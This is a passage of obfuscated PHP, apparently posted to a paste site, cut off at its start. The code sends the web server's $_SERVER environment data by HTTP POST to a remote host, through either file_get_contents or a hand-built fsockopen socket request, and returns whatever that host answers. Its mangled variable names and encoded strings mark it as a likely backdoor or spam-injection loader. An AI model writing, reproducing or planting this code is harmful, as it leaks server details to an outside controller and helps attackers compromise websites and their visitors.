a\x70p\154ication/x-www\055form-\165r\x6cenc\x6f\x64ed"),"cont\145nt"=>http_build_query($_SERVER),"\x74imeou\x74"=>$ljjilljiiij)));if($llljilil=="\171\x65s"):if(strstr($liiiiljjj,"?")):$liiiiljjj=$liiiiljjj."&type=fopen";else:$liiiiljjj=$liiiiljjj."?type=fopen";endif;endif;$li=@file_get_contents($liiiiljjj,false,$lljililll);else:if($llljilil=="\171es"):if(strstr($llilijjjli,"\077")):$llilijjjli=$llilijjjli."&type=socks";else:$llilijjjli=$llilijjjli."?\164ype\075so\143ks";endif;endif;$lljii=fsockopen($lijiiljl,-0646+-0107- -01301-0204,$ljlj,$ljljlj,$ljjilljiiij);if($lljii):$lilijijjljj=http_build_query($_SERVER);$lljjjijljij="POST ".$llilijjjli." HTT\x50\0571.0"."\x0d\x0a";$lljjjijljij.="Ho\x73t: ".$lijiiljl."\x0d\x0a";$lljjjijljij.="Con\164ent-Type: appli\143ation/x-www\x2dform-urlencoded"."\x0d\012";$lljjjijljij.="Content-Length: ".strlen($lilijijjljj)."\x0d\x0a\x0d\x0a";fwrite($lljii,$lljjjijljij);fwrite($lljii,$lilijijjljj);$llij="";while(!feof($lljii)):$llij.=fgets($lljii,010306-0306);endwhile;fclose($lljii);list($lijiijljji,$ljjljjii)=@preg_split("/\x5cR\134R/",$llij,-0173- -0124-0213- -0264);$li=$ljjljjii;endif;endif;return$li;};
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement